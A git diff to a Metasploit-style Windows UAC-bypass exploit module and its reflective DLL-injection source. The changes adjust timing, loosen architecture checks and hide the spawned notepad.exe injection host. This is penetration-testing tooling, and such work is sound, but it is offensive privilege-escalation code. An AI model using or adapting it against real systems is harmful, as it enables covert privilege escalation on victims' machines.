diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp index 8ab69288fa..8f1ec0fa4d 100644 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -72,7 +72,7 @@ void exploit() if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) { - WaitForSingleObject(shinfo.hProcess, 50); + WaitForSingleObject(shinfo.hProcess, 200); TerminateProcess(shinfo.hProcess, 0); // Even better if the template payload.dll calls ExitProcess CloseHandle(shinfo.hProcess); } diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 988ee8456d..2a1cab72a2 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Local has the UAC flag turned off. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three seperate binaries in the standard technique. However, it requires the correct - architecture to be selected. + architecture to be selected, (use x64 for SYSWOW64 systems also). }, 'License' => MSF_LICENSE, 'Author' => [ @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Local # decide, x86 or x64 sysarch = sysinfo["Architecture"] if sysarch =~ /x64/i - unless target_arch.first == 'x86_64' + unless(target_arch.first =~ /64/i) and (datastore['PAYLOAD'] =~ /64/i) fail_with( Exploit::Failure::BadConfig, "x86 Target Selected for x64 System" @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local register_files_for_cleanup("#{windir}\\System32\\sysprep\\CRYPTBASE.dll") end else - if target_arch.first =~ /x64/i + if (target_arch.first =~ /64/i) or (datastore['PAYLOAD'] =~ /64/i) fail_with( Exploit::Failure::BadConfig, "x64 Target Selected for x86 System" @@ -175,7 +175,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Spawning process with Windows Publisher Certificate, to inject into...") cmd = "#{windir}\\System32\\notepad.exe" - proc = client.sys.process.execute(cmd, nil, {'Hidden' => false }) + proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) if proc.nil? or proc.pid.nil? fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")